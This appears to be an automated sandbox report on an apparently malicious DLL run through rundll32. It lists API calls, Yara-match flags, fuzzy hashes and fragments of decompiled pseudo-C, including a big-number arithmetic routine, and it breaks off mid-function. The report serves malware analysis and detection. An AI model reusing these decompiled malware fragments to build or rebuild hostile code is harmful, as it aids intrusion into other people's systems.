                                            0x04ab5eb6
                                            0x04ab5ec8
                                            0x04ab5eca
                                            0x04ab5ed0
                                            0x04ab5ed0
                                            0x04ab5ed9
                                            0x04ab5ed9
                                            0x04ab5edb
                                            0x04ab5ee1
                                            0x04ab5ee1
                                            0x04ab5ee4
                                            0x04ab5eea
                                            0x04ab5eed
                                            0x04ab5ef6
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab5ef6
                                            0x04ab5e4a
                                            0x04ab5e44
                                            0x04ab5e2d
                                            0x04ab5efc
                                            0x04ab5efc
                                            0x04ab5f02
                                            0x04ab5f02
                                            0x04ab5f08
                                            0x04ab5f08
                                            0x04ab5f11
                                            0x04ab5f17
                                            0x04ab5f17
                                            0x04ab5dd4
                                            0x04ab5f20

                                            APIs
                                            • SysAllocString.OLEAUT32(04AB9290), ref: 04AB5DDF
                                            • lstrcmpW.KERNEL32(00000000,0076006F), ref: 04AB5EC0
                                            • SysFreeString.OLEAUT32(00000000), ref: 04AB5ED9
                                            • SysFreeString.OLEAUT32(?), ref: 04AB5F08
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: String$Free$Alloclstrcmp
                                            • String ID:
                                            • API String ID: 1885612795-0
                                            • Opcode ID: 03c47c8016e32d9ac6256a5b067bb7a56a9b783a8b9978011fb7cf492ccbd89a
                                            • Instruction ID: cb0d60735ae6fa56590f316a70354d8f96536126a94ea0ae048090ce8479b633
                                            • Opcode Fuzzy Hash: 03c47c8016e32d9ac6256a5b067bb7a56a9b783a8b9978011fb7cf492ccbd89a
                                            • Instruction Fuzzy Hash: 80514D75D00609EFCB00DFA8C8889EEF7B9FF88705B244594E915EB211D731AD42CBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB3394 Relevance: 6.2, APIs: 4, Instructions: 154memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SysAllocString.OLEAUT32(?), ref: 04AB33CF
                                            • SysFreeString.OLEAUT32(00000000), ref: 04AB34B4
                                              • Part of subcall function 04AB5D8F: SysAllocString.OLEAUT32(04AB9290), ref: 04AB5DDF
                                            • SafeArrayDestroy.OLEAUT32(00000000), ref: 04AB3507
                                            • SysFreeString.OLEAUT32(00000000), ref: 04AB3516
                                              • Part of subcall function 04AB3FDD: Sleep.KERNEL32(000001F4), ref: 04AB4025
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: String$AllocFree$ArrayDestroySafeSleep
                                            • String ID:
                                            • API String ID: 3193056040-0
                                            • Opcode ID: 48828ec09bd45394b45561eb01bfebd0343d7e1446ede78f9d088158b955f59d
                                            • Instruction ID: fdb0f3572a905ed0bfbe630dfa4c0f3c304b87e5d677cf1cbaf42634d4b154a0
                                            • Opcode Fuzzy Hash: 48828ec09bd45394b45561eb01bfebd0343d7e1446ede78f9d088158b955f59d
                                            • Instruction Fuzzy Hash: 61514F75500609AFDB02CFE8C844ADEB7BAFF88701F148428E959DB221DB75ED45CB90
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DF2885 Relevance: 6.1, APIs: 4, Instructions: 140stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlen.KERNEL32(?,00000008,0000EA60,?,?,?,05DEC0C1,00000000,0000EA60,00000000,00000000,00000000,?,05DEA6B6,?,?), ref: 05DF2891
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • ResetEvent.KERNEL32(?,?,?,?,05DEC0C1,00000000,0000EA60,00000000,00000000,00000000,?,05DEA6B6,?,?,00000000,05DDD3E9), ref: 05DF2908
                                            • GetLastError.KERNEL32(?,?,?,05DEC0C1,00000000,0000EA60,00000000,00000000,00000000,?,05DEA6B6,?,?,00000000,05DDD3E9,?), ref: 05DF2935
                                              • Part of subcall function 05DDC6B8: RtlFreeHeap.NTDLL(00000000,00000000,05DF1A9A,00000000), ref: 05DDC6C4
                                            • GetLastError.KERNEL32(?,?,?,05DEC0C1,00000000,0000EA60,00000000,00000000,00000000,?,05DEA6B6,?,?,00000000,05DDD3E9,?), ref: 05DF29F7
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorHeapLast$AllocateEventFreeResetlstrlen
                                            • String ID:
                                            • API String ID: 943265810-0
                                            • Opcode ID: 12c8eb24c3ac643c261e0b8c6a6d14dc5654fa9e5dd13ff2b966ec9cc96735d0
                                            • Instruction ID: eed3cfa957b9ba8e70c6c36670bf0fd4ca9b3f1ca0683c3d9853be0a567828a9
                                            • Opcode Fuzzy Hash: 12c8eb24c3ac643c261e0b8c6a6d14dc5654fa9e5dd13ff2b966ec9cc96735d0
                                            • Instruction Fuzzy Hash: B241B1B6610205FFDB209FA4DC89EBB7BADFB04304F414A2AF642D6190DB71D944EB21
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE7073 Relevance: 6.1, APIs: 4, Instructions: 136COMMON
                                            Download Yara Rule
                                            APIs
                                            • _allmul.NTDLL(?,00000000,00000000,00000001), ref: 05DE7126
                                            • _aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 05DE713C
                                            • memset.NTDLL ref: 05DE71E5
                                            • memset.NTDLL ref: 05DE71FB
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: memset$_allmul_aulldiv
                                            • String ID:
                                            • API String ID: 3041852380-0
                                            • Opcode ID: fd2c11ad6219ab96ba2c99f684054709b9b5187136e098ea2d52945c07716d89
                                            • Instruction ID: d30663cc6ffd74f625b8e3e9d89fc2b102a51410a50442c1ec11fa36afc4da50
                                            • Opcode Fuzzy Hash: fd2c11ad6219ab96ba2c99f684054709b9b5187136e098ea2d52945c07716d89
                                            • Instruction Fuzzy Hash: F241B131B01259AFDB20EF68DC44BEE7776EF45310F00456AF90AA7280DB70AE458BA1
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB35A2 Relevance: 6.1, APIs: 4, Instructions: 136COMMON
                                            Download Yara Rule
                                            C-Code - Quality: 85%
                                            			E04AB35A2(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v156;
				void _v428;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E04AB13E0(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E04AB7099(_t79,  &_v428);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0x1a8)) = E04AB381E(_t101,  &_v428, _a8, _t96 - _t81);
					E04AB381E(_t79,  &_v156, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x9c));
					_t66 = E04AB7099(_t101, 0x4aba1d0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E04AB7099(_a16, _a4);
						E04AB4191(_t79,  &_v428, _a4, _t97);
						memset( &_v428, 0, 0x10c);
						_t55 = memset( &_v156, 0, 0x84);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0x1a8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L04AB81CA();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L04AB81C4();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0x1a8;
						_a12 = _t74;
						_t76 = E04AB3ADE(_t79,  &_v156, _t92, _t107 + _a8 * 4 - 0x1a8, _t107 + _a8 * 4 - 0x1a8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v156;
							if(E04AB40E5(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E04AB5908(_t79,  &_v156, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(0x4aba1d0 + _a8 * 4) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}





















                                            0x04ab35a5
                                            0x04ab35b1
                                            0x04ab35b7
                                            0x04ab35bc
                                            0x04ab35c0
                                            0x04ab3732
                                            0x04ab3736
                                            0x04ab3736
                                            0x04ab35c6
                                            0x04ab35ca
                                            0x04ab35ce
                                            0x04ab35d1
                                            0x04ab35dc
                                            0x04ab35e2
                                            0x04ab35e7
                                            0x04ab35ea
                                            0x04ab3604
                                            0x04ab3613
                                            0x04ab361f
                                            0x04ab3629
                                            0x04ab362e
                                            0x04ab3630
                                            0x04ab3633
                                            0x04ab36ea
                                            0x04ab36f0
                                            0x04ab3701
                                            0x04ab3714
                                            0x04ab372a
                                            0x00000000
                                            0x04ab372f
                                            0x04ab363c
                                            0x04ab3643
                                            0x04ab3647
                                            0x04ab364d
                                            0x04ab364f
                                            0x04ab3651
                                            0x04ab3653
                                            0x04ab3655
                                            0x04ab365f
                                            0x04ab3664
                                            0x04ab3666
                                            0x04ab3668
                                            0x04ab3669
                                            0x04ab366a
                                            0x04ab366b
                                            0x04ab3672
                                            0x04ab3679
                                            0x04ab367c
                                            0x04ab367c
                                            0x04ab3649
                                            0x04ab3649
                                            0x04ab3649
                                            0x04ab3684
                                            0x04ab368c
                                            0x04ab3698
                                            0x04ab369d
                                            0x04ab369d
                                            0x04ab36a2
                                            0x00000000
                                            0x00000000
                                            0x04ab36a4
                                            0x04ab36a7
                                            0x04ab36b4
                                            0x00000000
                                            0x00000000
                                            0x04ab36b6
                                            0x04ab36b6
                                            0x04ab36c3
                                            0x04ab369d
                                            0x04ab36a2
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab36a2
                                            0x04ab36cd
                                            0x04ab36d0
                                            0x04ab36d3
                                            0x04ab36da
                                            0x04ab36da
                                            0x04ab36e7
                                            0x00000000
                                            0x04ab36e7
                                            0x04ab35d3
                                            0x04ab35d7
                                            0x04ab35d8
                                            0x04ab35da
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab35da
                                            0x00000000

                                            APIs
                                            • _allmul.NTDLL(?,00000000,00000000,00000001), ref: 04AB3655
                                            • _aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 04AB366B
                                            • memset.NTDLL ref: 04AB3714
                                            • memset.NTDLL ref: 04AB372A
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: memset$_allmul_aulldiv
                                            • String ID:
                                            • API String ID: 3041852380-0
                                            • Opcode ID: 610ef12ffbbcd239c196fe42a35bfa6f8216b1d5708a73cb55b67dad6bf0b908
                                            • Instruction ID: fdb4d97aa2bab2eb4d5c77e3d1f3044eed9590f63c7368664d9c983810acc97b
                                            • Opcode Fuzzy Hash: 610ef12ffbbcd239c196fe42a35bfa6f8216b1d5708a73cb55b67dad6bf0b908
                                            • Instruction Fuzzy Hash: C1419171A00219AFEF109F68DD40BDE776DEF45314F004569EC99A7282EB70BE548BD1
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD7F90 Relevance: 6.1, APIs: 4, Instructions: 119stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • StrRChrA.SHLWAPI(?,00000000,00000023), ref: 05DD7FAA
                                            • StrChrA.SHLWAPI(?,0000005C), ref: 05DD7FD1
                                            • lstrcpyn.KERNEL32(?,?,00000001,00000001), ref: 05DD7FF7
                                            • lstrcpy.KERNEL32(?,?), ref: 05DD809B
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: lstrcpylstrcpyn
                                            • String ID:
                                            • API String ID: 4154805583-0
                                            • Opcode ID: f191932e103f25b2728372623fe2f899e1e1ffab8e6b2776ed9dd632d76f3fdc
                                            • Instruction ID: 395b2f306ec4f7318da49cdfded846fbb487e684351161dbccd11683c7b57ddb
                                            • Opcode Fuzzy Hash: f191932e103f25b2728372623fe2f899e1e1ffab8e6b2776ed9dd632d76f3fdc
                                            • Instruction Fuzzy Hash: 50412A76910119AFDB129FA4CC88DEEBBBCFB09254F0544A6F905E7140DA34AA45DB70
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDDF40 Relevance: 6.1, APIs: 4, Instructions: 113COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _strupr
                                            • String ID:
                                            • API String ID: 3408778250-0
                                            • Opcode ID: cacfb923c9a755b8662e0b4137216739fd82da95fb3d1b41b15c4d6409dd10bb
                                            • Instruction ID: bc83571846e68b81d664de589b4cfa6c6e45db8481900dd82fe260be751092f7
                                            • Opcode Fuzzy Hash: cacfb923c9a755b8662e0b4137216739fd82da95fb3d1b41b15c4d6409dd10bb
                                            • Instruction Fuzzy Hash: D2412C719002199FDF20EFA4D888ABEF7A9FF44344F154813E825DA111E778E589CBB1
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD53AD Relevance: 6.1, APIs: 4, Instructions: 112COMMON
                                            Download Yara Rule
                                            APIs
                                            • ResetEvent.KERNEL32(?), ref: 05DD53C3
                                            • GetLastError.KERNEL32 ref: 05DD53DC
                                              • Part of subcall function 05DDE549: WaitForMultipleObjects.KERNEL32(00000002,00000000,00000000,00000000,?,?,?,05DF2953,0000EA60,?,?,?,05DEC0C1,00000000,0000EA60,00000000), ref: 05DDE564
                                            • ResetEvent.KERNEL32(?), ref: 05DD5455
                                            • GetLastError.KERNEL32 ref: 05DD5470
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorEventLastReset$MultipleObjectsWait
                                            • String ID:
                                            • API String ID: 2394032930-0
                                            • Opcode ID: c06e473afe32d09c9a7bfe9bb0719f5c4a8d1aae723f008939cd84867c599b76
                                            • Instruction ID: 68138bea12987d338e93de1a8118e8e71dd6f7633c482f94c184ffc37288050c
                                            • Opcode Fuzzy Hash: c06e473afe32d09c9a7bfe9bb0719f5c4a8d1aae723f008939cd84867c599b76
                                            • Instruction Fuzzy Hash: 8531E432600204EBCB219BA9DC44E7EF7BAFF84366F24452AF455D7190EB70E9419B31
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DECF4E Relevance: 6.1, APIs: 4, Instructions: 105memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DDFA32: GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000100,?,00000000), ref: 05DDFA40
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 05DECFB6
                                            • RtlAllocateHeap.NTDLL(00000000,00000000), ref: 05DED007
                                              • Part of subcall function 05DD3486: CreateFileW.KERNEL32(?,C0000000,0000FDE9,00000000,00000001,00000080,00000000,00000008,00000000,0000FDE9,?), ref: 05DD34C6
                                              • Part of subcall function 05DD3486: GetLastError.KERNEL32 ref: 05DD34D0
                                              • Part of subcall function 05DD3486: WaitForSingleObject.KERNEL32(000000C8), ref: 05DD34F5
                                              • Part of subcall function 05DD3486: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000001,00000080,00000000), ref: 05DD3518
                                              • Part of subcall function 05DD3486: SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 05DD3540
                                              • Part of subcall function 05DD3486: WriteFile.KERNEL32(?,00001388,?,?,00000000), ref: 05DD3555
                                              • Part of subcall function 05DD3486: SetEndOfFile.KERNEL32(?), ref: 05DD3562
                                              • Part of subcall function 05DD3486: CloseHandle.KERNEL32(?), ref: 05DD357A
                                            • HeapFree.KERNEL32(00000000,00000000,?,00000000,?,00000101,?,00000000,?,?,?,00000000,?,00000001), ref: 05DED03C
                                            • HeapFree.KERNEL32(00000000,?,?,00000000,?,00000001,?,?,?,?,?,?,05DD9EB6,?), ref: 05DED04C
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$Heap$AllocateCreateFreeTime$CloseErrorHandleLastObjectPointerSingleSystemWaitWrite
                                            • String ID:
                                            • API String ID: 4200334623-0
                                            • Opcode ID: e1af0cd39292177b6865f81324bf75b0cf5f2d1f462432e82d9fe74188b9bb5b
                                            • Instruction ID: d22f76e6cc5221d21d2e1a7d80d337761f7112b9da9b96f382ee47ebbb01d898
                                            • Opcode Fuzzy Hash: e1af0cd39292177b6865f81324bf75b0cf5f2d1f462432e82d9fe74188b9bb5b
                                            • Instruction Fuzzy Hash: C2311E76910015BFEB119FA4DD89CAEBFBDFF08250B114466F505D3210DB71AE91DB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDE628 Relevance: 6.1, APIs: 4, Instructions: 92synchronizationCOMMON
                                            Download Yara Rule
                                            APIs
                                            • WaitForSingleObject.KERNEL32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000008,?,00000000,00000000), ref: 05DDE63F
                                            • SetEvent.KERNEL32(?,?,?,?,05DDD3E9,?,?), ref: 05DDE64F
                                            • GetLastError.KERNEL32 ref: 05DDE6D8
                                              • Part of subcall function 05DDE549: WaitForMultipleObjects.KERNEL32(00000002,00000000,00000000,00000000,?,?,?,05DF2953,0000EA60,?,?,?,05DEC0C1,00000000,0000EA60,00000000), ref: 05DDE564
                                              • Part of subcall function 05DDC6B8: RtlFreeHeap.NTDLL(00000000,00000000,05DF1A9A,00000000), ref: 05DDC6C4
                                            • GetLastError.KERNEL32(00000000), ref: 05DDE70D
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
                                            • String ID:
                                            • API String ID: 602384898-0
                                            • Opcode ID: 68790b33ccaa293fe7c7561e6f25219d6770aff37b6b70d9de6fe0f5512ecaf2
                                            • Instruction ID: cbab6fde7f214324451796e8e5206f3ebd6da9f9a8df57cc7780458f63857a28
                                            • Opcode Fuzzy Hash: 68790b33ccaa293fe7c7561e6f25219d6770aff37b6b70d9de6fe0f5512ecaf2
                                            • Instruction Fuzzy Hash: 3A31EBB5900309FFDB61DFA5C8849AEFBBDFF08304F10496BE642E6651D631AA449F20
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDF3E5 Relevance: 6.1, APIs: 4, Instructions: 83memoryregistryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlAllocateHeap.NTDLL(00000000,00000000), ref: 05DDF43E
                                            • memcpy.NTDLL(00000018,?,?), ref: 05DDF467
                                            • RegisterWaitForSingleObject.KERNEL32(00000010,?,Function_0000C3EA,00000000,000000FF,00000008), ref: 05DDF4A6
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 05DDF4B9
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$AllocateFreeObjectRegisterSingleWaitmemcpy
                                            • String ID:
                                            • API String ID: 2780211928-0
                                            • Opcode ID: 7321b82ec8f2ac56e90580f7873c038755717b30a6d6a9f6151db635c76873ae
                                            • Instruction ID: a3bc29ce9a5dbc74d362e411ba178d156c53f743815a99573cc8d5e180961986
                                            • Opcode Fuzzy Hash: 7321b82ec8f2ac56e90580f7873c038755717b30a6d6a9f6151db635c76873ae
                                            • Instruction Fuzzy Hash: 9D317371600606AFDB109F28EC45FAA7FA9FF04324F00851AF91AD63A0DB71E954DB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE93A7 Relevance: 6.1, APIs: 4, Instructions: 83COMMON
                                            Download Yara Rule
                                            APIs
                                            • TlsGetValue.KERNEL32(?), ref: 05DE93D6
                                            • SetEvent.KERNEL32(?), ref: 05DE9420
                                            • TlsSetValue.KERNEL32(00000001), ref: 05DE945A
                                            • TlsSetValue.KERNEL32(00000000), ref: 05DE9476
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Value$Event
                                            • String ID:
                                            • API String ID: 3803239005-0
                                            • Opcode ID: 693e5e47303e9cbaa1a14562227888a1fb379a9c38b5c77be64b80c1686c2df4
                                            • Instruction ID: 0cc49c17042237915c70a38688e6da0a78524fdcb855187bbcc1957746efbda7
                                            • Opcode Fuzzy Hash: 693e5e47303e9cbaa1a14562227888a1fb379a9c38b5c77be64b80c1686c2df4
                                            • Instruction Fuzzy Hash: 80219C31212208AFCB21AF68DC99EAA7FB2FF41350F10442AF452CA660C771DC91DB64
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD7924 Relevance: 6.1, APIs: 4, Instructions: 82memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DEF4A1: memcpy.NTDLL(00000000,00000110,?,?,00000000,00000000,00000000,?,?,?,05DDD3E9), ref: 05DEF4D7
                                              • Part of subcall function 05DEF4A1: memset.NTDLL ref: 05DEF54D
                                              • Part of subcall function 05DEF4A1: memset.NTDLL ref: 05DEF561
                                            • RtlAllocateHeap.NTDLL(00000000,00000008,-00000008), ref: 05DD797C
                                            • lstrcmpi.KERNEL32(00000000,?), ref: 05DD79A3
                                            • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 05DD79E8
                                            • HeapFree.KERNEL32(00000000,?,?,?,?,?,00000000,00000000), ref: 05DD79F9
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$Freememset$Allocatelstrcmpimemcpy
                                            • String ID:
                                            • API String ID: 1065503980-0
                                            • Opcode ID: cc5a91e43f1f783774776f629ea7ee60f804267831fd27be5c242732deb55cb7
                                            • Instruction ID: 08a3aca551a647f046d470bacf9d53e22e757ddffe77f3a0e992f33cdfcdf43b
                                            • Opcode Fuzzy Hash: cc5a91e43f1f783774776f629ea7ee60f804267831fd27be5c242732deb55cb7
                                            • Instruction Fuzzy Hash: DD212F72A10109FFDF11AFA8DC89FAEBBB9FB04214F104467F905E6214DB719A44DB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DF19D6 Relevance: 6.1, APIs: 4, Instructions: 77stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • memset.NTDLL ref: 05DF1A05
                                            • lstrlen.KERNEL32(00000000), ref: 05DF1A16
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • strcpy.NTDLL ref: 05DF1A2D
                                            • StrChrA.SHLWAPI(00000000,0000003A,00000001), ref: 05DF1A37
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AllocateHeaplstrlenmemsetstrcpy
                                            • String ID:
                                            • API String ID: 528014985-0
                                            • Opcode ID: 701b50d2d417d28b66f4aa0ea8bf6a1e7a5736bf6d52f361fe1b61d48a7c926d
                                            • Instruction ID: c6a8098166a013a14ce79fe852e31242a0b831853725367842f0c90dbffb1a78
                                            • Opcode Fuzzy Hash: 701b50d2d417d28b66f4aa0ea8bf6a1e7a5736bf6d52f361fe1b61d48a7c926d
                                            • Instruction Fuzzy Hash: B721B076214301EFDB20EBA8D849B6A77A8FF44315F05841BFA5A87280EB75D445DB32
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB51D7 Relevance: 6.1, APIs: 4, Instructions: 76sleepstringCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 78%
                                            			E04AB51D7(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0;
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
